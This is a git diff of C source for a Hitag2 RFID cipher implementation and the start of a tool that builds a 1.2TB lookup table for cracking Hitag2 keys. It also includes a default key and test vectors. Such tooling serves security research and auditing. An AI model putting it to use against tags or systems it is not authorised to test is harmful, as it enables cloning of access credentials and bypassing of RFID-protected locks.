* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: unknown.
|
||||
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
// uncomment this to build file as a standalone crypto test program
|
||||
// #define UNIT_TEST
|
||||
// also uncomment to include verbose debug prints
|
||||
// #define TEST_DEBUG
|
||||
|
||||
//#include <GenericTypeDefs.h>
|
||||
#include "HardwareProfile.h"
|
||||
#include "rfidler.h"
|
||||
#include "hitagcrypto.h"
|
||||
#include "util.h"
|
||||
|
||||
#ifdef UNIT_TEST
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
|
||||
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
|
||||
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
|
||||
// This may need changing for other compilers/platforms.
|
||||
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
|
||||
#else
|
||||
#define DEBUG_PRINTF(...)
|
||||
#endif
|
||||
|
||||
|
||||
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
|
||||
|
||||
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
|
||||
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
|
||||
At about the same time, late 1980s to early 1990s, Mikron developed the
|
||||
similarly featured Mifare micropayment card for 13.56MHz RFID.
|
||||
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
|
||||
priority date of 23 Aug 1990.)
|
||||
Mikron was subsequently acquired by Philips Semiconductors in 1995.
|
||||
Philips Semiconductors divsion subsequently became NXP.
|
||||
|
||||
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
|
||||
length coding
|
||||
+ Modulation transponder -> read/write device: Strong ASK modulation,
|
||||
selectable Manchester or Biphase coding
|
||||
+ Hitag S, Hitag u; anti-collision procedure
|
||||
+ Fast anti-collision protocol
|
||||
+ Hitag u; optional Cyclic Redundancy Check (CRC)
|
||||
+ Reader Talks First mode
|
||||
+ Hitag 2 & later; Transponder Talks First (TTF) mode
|
||||
+ Temporary switch from Transponder Talks First into Reader Talks First
|
||||
(RTF) Mode
|
||||
+ Data rate read/write device to transponder: 5.2 kbit/s
|
||||
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
|
||||
+ 32-bit password feature
|
||||
+ Hitag 2, S = 32-bit Unique Identifier
|
||||
+ Hitag u = 48-bit Unique Identifier
|
||||
+ Selectable password modes for reader / tag mutual authentication
|
||||
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
|
||||
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
|
||||
|
||||
Known tag types:
|
||||
|
||||
HITAG 1 2048 bits total memory
|
||||
|
||||
HITAG 2 256 Bit total memory Read/Write
|
||||
8 pages of 32 bits, inc UID (32),
|
||||
secret key (64), password (24), config (8)
|
||||
|
||||
HITAG S 32 32 bits Unique Identifier Read Only
|
||||
HITAG S 256 256 bits total memory Read/Write
|
||||
HITAG S 2048 2048 bits total memory Read/Write
|
||||
|
||||
HITAG u RO64 64 bits total memory Read Only
|
||||
HITAG u 128 bits total memory Read/Write
|
||||
HITAG u Advanced 512 bits total memory Read/Write
|
||||
HITAG u Advanced+ 1760 bits total memory Read/Write
|
||||
|
||||
Default 48-bit key for Hitag 2, S encryption:
|
||||
"MIKRON" = O N M I K R
|
||||
Key = 4F 4E 4D 49 4B 52
|
||||
|
||||
*/
|
||||
|
||||
|
||||
// We want the crypto functions to be as fast as possible, so optimize!
|
||||
// The best compiler optimization in Microchip's free XC32 edition is -O1
|
||||
//#pragma GCC optimize("O1")
|
||||
|
||||
// private, nonlinear function to generate 1 crypto bit
|
||||
static uint32_t hitag2_crypt(uint64_t x);
|
||||
|
||||
|
||||
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
|
||||
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
|
||||
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
|
||||
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 0xC) )
|
||||
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
|
||||
|
||||
static uint32_t hitag2_crypt(uint64_t s)
|
||||
{
|
||||
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
|
||||
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
|
||||
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
|
||||
uint32_t bitindex;
|
||||
|
||||
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
|
||||
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
|
||||
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
|
||||
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
|
||||
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
|
||||
|
||||
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
|
||||
return (ht2_function5c >> bitindex) & 1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Parameters:
|
||||
* Hitag_State* pstate - output, internal state after initialisation
|
||||
* uint64_t sharedkey - 48 bit key shared between reader & tag
|
||||
* uint32_t serialnum - 32 bit tag serial number
|
||||
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
|
||||
*/
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
|
||||
{
|
||||
// init state, from serial number and lowest 16 bits of shared key
|
||||
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
|
||||
|
||||
// mix the initialisation vector and highest 32 bits of the shared key
|
||||
initvector ^= (uint32_t) (sharedkey >> 16);
|
||||
|
||||
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
|
||||
// these will be XORed in turn with output of the crypto function
|
||||
state |= (uint64_t) initvector << 48;
|
||||
initvector >>= 16;
|
||||
|
||||
// unrolled loop is faster on PIC32 (MIPS), do 32 times
|
||||
// shift register, then calc new bit
|
||||
state >>= 1;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
// highest 16 bits of IV XOR Shared Key
|
||||
state |= (uint64_t) initvector << 47;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state ^= (uint64_t) hitag2_crypt(state) << 47;
|
||||
|
||||
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
|
||||
pstate->shiftreg = state;
|
||||
/* naive version for reference, LFSR has 16 taps
|
||||
pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
|
||||
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
|
||||
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
|
||||
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
|
||||
*/
|
||||
{
|
||||
// optimise with one 64-bit intermediate
|
||||
uint64_t temp = state ^ (state >> 1);
|
||||
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
|
||||
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
|
||||
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
|
||||
^ (temp >> 42) ^ (temp >> 46);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Return up to 32 crypto bits.
|
||||
* Last bit is in least significant bit, earlier bits are shifted left.
|
||||
* Note that the Hitag transmission protocol is least significant bit,
|
||||
* so we may want to change this, or add a function, that returns the
|
||||
* crypto output bits in the other order.
|
||||
*
|
||||
* Parameters:
|
||||
* Hitag_State* pstate - in/out, internal cipher state after initialisation
|
||||
* uint32_t steps - number of bits requested, (capped at 32)
|
||||
*/
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
|
||||
{
|
||||
uint64_t state = pstate->shiftreg;
|
||||
uint32_t result = 0;
|
||||
uint64_t lfsr = pstate->lfsr;
|
||||
|
||||
if (steps == 0)
|
||||
return 0;
|
||||
|
||||
// commented out the restriction on number of steps so we can step further in one go.
|
||||
// this still only returns 32 bits obviously
|
||||
// if (steps > 32)
|
||||
// steps = 32;
|
||||
|
||||
do {
|
||||
// update shift registers
|
||||
if (lfsr & 1) {
|
||||
state = (state >> 1) | 0x800000000000;
|
||||
lfsr = (lfsr >> 1) ^ 0xB38083220073;
|
||||
|
||||
// accumulate next bit of crypto
|
||||
result = (result << 1) | hitag2_crypt(state);
|
||||
} else {
|
||||
state >>= 1;
|
||||
lfsr >>= 1;
|
||||
|
||||
result = (result << 1) | hitag2_crypt(state);
|
||||
}
|
||||
} while (--steps);
|
||||
|
||||
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
|
||||
pstate->shiftreg = state;
|
||||
pstate->lfsr = lfsr;
|
||||
return result;
|
||||
}
|
||||
|
||||
// end of crypto core, revert to default optimization level
|
||||
//#pragma GCC reset_options
|
||||
|
||||
|
||||
/* Test code
|
||||
|
||||
Test data and below information about it comes from
|
||||
http://www.mikrocontroller.net/attachment/102194/hitag2.c
|
||||
Written by "I.C. Wiener 2006-2007"
|
||||
|
||||
"MIKRON" = O N M I K R
|
||||
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
|
||||
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
|
||||
Random = 65 6E 45 72 - Random IV, transmitted in clear
|
||||
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
|
||||
|
||||
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
|
||||
The inverse of the first 4 bytes is sent to the tag to authenticate.
|
||||
The rest is encrypted by XORing it with the subsequent keystream.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
unsigned int hitag2_benchtest_gen32()
|
||||
{
|
||||
const uint64_t key = 0x4ad292b272f2;
|
||||
const uint32_t serial = 0x96eac292;
|
||||
const uint32_t initvec = 0x4ea276a6;
|
||||
Hitag_State state;
|
||||
|
||||
// init crypto
|
||||
hitag2_init(&state, key, serial, initvec);
|
||||
|
||||
// benchmark: generation of 32 bit stream (excludes initialisation)
|
||||
GetTimer_us(RESET);
|
||||
|
||||
(void) hitag2_nstep(&state, 32);
|
||||
|
||||
return GetTimer_us(NO_RESET);
|
||||
}
|
||||
|
||||
|
||||
unsigned int hitag2_benchtest(uint32_t count)
|
||||
{
|
||||
const uint64_t key = 0x4ad292b272f2;
|
||||
const uint32_t serial = 0x96eac292;
|
||||
const uint32_t initvec = 0x4ea276a6;
|
||||
Hitag_State state;
|
||||
uint32_t i;
|
||||
|
||||
// start timer
|
||||
GetTimer_us(RESET);
|
||||
|
||||
// benchmark: initialise crypto & generate 32 bit authentication
|
||||
// adding i stops gcc optimizer moving init function call out of loop
|
||||
for (i = 0; i < count; i++) {
|
||||
hitag2_init(&state, key, serial, initvec + i);
|
||||
(void) hitag2_nstep(&state, 32);
|
||||
}
|
||||
|
||||
return GetTimer_us(NO_RESET);
|
||||
}
|
||||
|
||||
|
||||
unsigned hitag2_verifytest()
|
||||
{
|
||||
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
|
||||
// key = 0x4ad292b272f2 after each byte has its bit order reversed
|
||||
// serial = 0x96eac292 ditto
|
||||
// initvec = 0x4ea276a6 ditto
|
||||
const uint64_t key = rev64 (0x524B494D4E4FUL);
|
||||
const uint32_t serial = rev32 (0x69574349);
|
||||
const uint32_t initvec = rev32 (0x72456E65);
|
||||
|
||||
uint32_t i;
|
||||
Hitag_State state;
|
||||
|
||||
// initialise
|
||||
hitag2_init(&state, key, serial, initvec);
|
||||
|
||||
for (i = 0; i < 16; i++) {
|
||||
// get 8 bits of keystream
|
||||
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
|
||||
uint8_t y = expected[i];
|
||||
|
||||
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
|
||||
if (x != y)
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
*/
|
||||
|
||||
#ifdef UNIT_TEST
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
unsigned pass = hitag2_verifytest();
|
||||
|
||||
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
|
||||
|
||||
if (pass) {
|
||||
hitag2_benchtest(10000);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // UNIT_TEST
|
171
tools/hitag2crack/crack2/hitagcrypto.h
Normal file
171
tools/hitag2crack/crack2/hitagcrypto.h
Normal file
|
@ -0,0 +1,171 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: unknown.
|
||||
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
#ifndef HITAGCRYPTO_H
|
||||
#define HITAGCRYPTO_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
Our model of Hitag 2 crypto uses 2 parallel shift registers:
|
||||
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
|
||||
b. 48 bit Linear Feedback Shift Register (LFSR).
|
||||
A transform of initial register (a) value, which is then run in parallel.
|
||||
Enables much faster calculation of the feedback values.
|
||||
|
||||
API:
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
|
||||
uint32_t initvector);
|
||||
Initialise state from 48 bit shared (secret) reader/tag key,
|
||||
32 bit tag serial number and 32 bit initialisation vector from reader.
|
||||
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
|
||||
update shift register state and generate N cipher bits (N should be <= 32)
|
||||
*/
|
||||
|
||||
|
||||
typedef struct {
|
||||
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
|
||||
uint64_t lfsr; // fast lfsr, used to make software faster
|
||||
} Hitag_State;
|
||||
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
|
||||
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
|
||||
|
||||
unsigned int hitag2_benchtest_gen32();
|
||||
unsigned int hitag2_benchtest(uint32_t count);
|
||||
unsigned hitag2_verifytest();
|
||||
|
||||
#endif /* HITAGCRYPTO_H */
|
||||
|
561
tools/hitag2crack/crack2/ht2crack2buildtable.c
Normal file
561
tools/hitag2crack/crack2/ht2crack2buildtable.c
Normal file
|
@ -0,0 +1,561 @@
|
|||
/*
|
||||
* ht2crack2buildtable.c
|
||||
* This builds the 1.2TB table and sorts it.
|
||||
*/
|
||||
|
||||
#include "ht2crack2utils.h"
|
||||
|
||||
|
||||
// DATAMAX is the size of each bucket (bytes). There are 65536 buckets so choose a value such that
|
||||
// DATAMAX * 65536 < RAM available. For ex, if you want to use 12GB of RAM (for a 16GB machine
|
||||
// leaving some RAM free for OS and other stuff), DATAMAX = 12GB / 65536 = 196608. Round this down
|
||||
// to a power of 10; DATAMAX = 196600.
|
||||
#define DATAMAX 196600 // around 192K rounded down to a power of 10
|
||||
|
||||
// NUM_BUILD_THREADS and NUM_SORT_THREADS are the number of threads to run concurrently. These should
|
||||
// ideally be equal to the number of virtual cores you have available. A quad-core machine will
|
||||
// likely have 8 virtual cores, so set them to 8.
|
||||
//
|
||||
// If sorting fails with a 'bus error' then that is likely because your disk I/O can't keep up with
|
||||
// the read/write demands of the multi-threaded sorting. In this case, reduce the number of sorting
|
||||
// threads. This will most likely only be a problem with network disks; SATA should be okay;
|
||||
// USB2/3 should keep up.
|
||||
//
|
||||
// These MUST be a power of 2 for the maths to work - you have been warned!
|
||||
// Also, sort threads MUST be <= build threads or a horrible buffer overflow will happen!
|
||||
#define NUM_BUILD_THREADS 8
|
||||
#define NUM_SORT_THREADS 8
|
||||
|
||||
// DATASIZE is the number of bytes in an entry. This is 10; 4 bytes of keystream (2 are in the filepath) +
|
||||
// 6 bytes of PRNG state.
|
||||
#define DATASIZE 10
|
||||
|
||||
int debug = 0;
|
||||
|
||||
// table entry for a bucket
|
||||
struct table {
|
||||
char path[32];
|
||||
pthread_mutex_t mutex;
|
||||
unsigned char *data;
|
||||
unsigned char *ptr;
|
||||
};
|
||||
|
||||
|
||||
// actual table
|
||||
struct table *t;
|
||||
|
||||
// jump table 1
|
||||
uint64_t d[48];
|
||||
int nsteps;
|
||||
|
||||
// jump table 2
|
||||
uint64_t d2[48];
|
||||
int nsteps2;
|
||||
|
||||
// create table entry
|
||||
void create_table(struct table *t, int d1, int d2)
|
||||
{
|
||||
if (!t) {
|
||||
printf("create_table: t is NULL\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// create some space
|
||||
t->data = (unsigned char *)malloc(DATAMAX);
|
||||
if (!(t->data)) {
|
||||
printf("create_table: cannot malloc data\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// set data ptr to start of data table
|
||||
t->ptr = t->data;
|
||||
|
||||
// init the mutex
|
||||
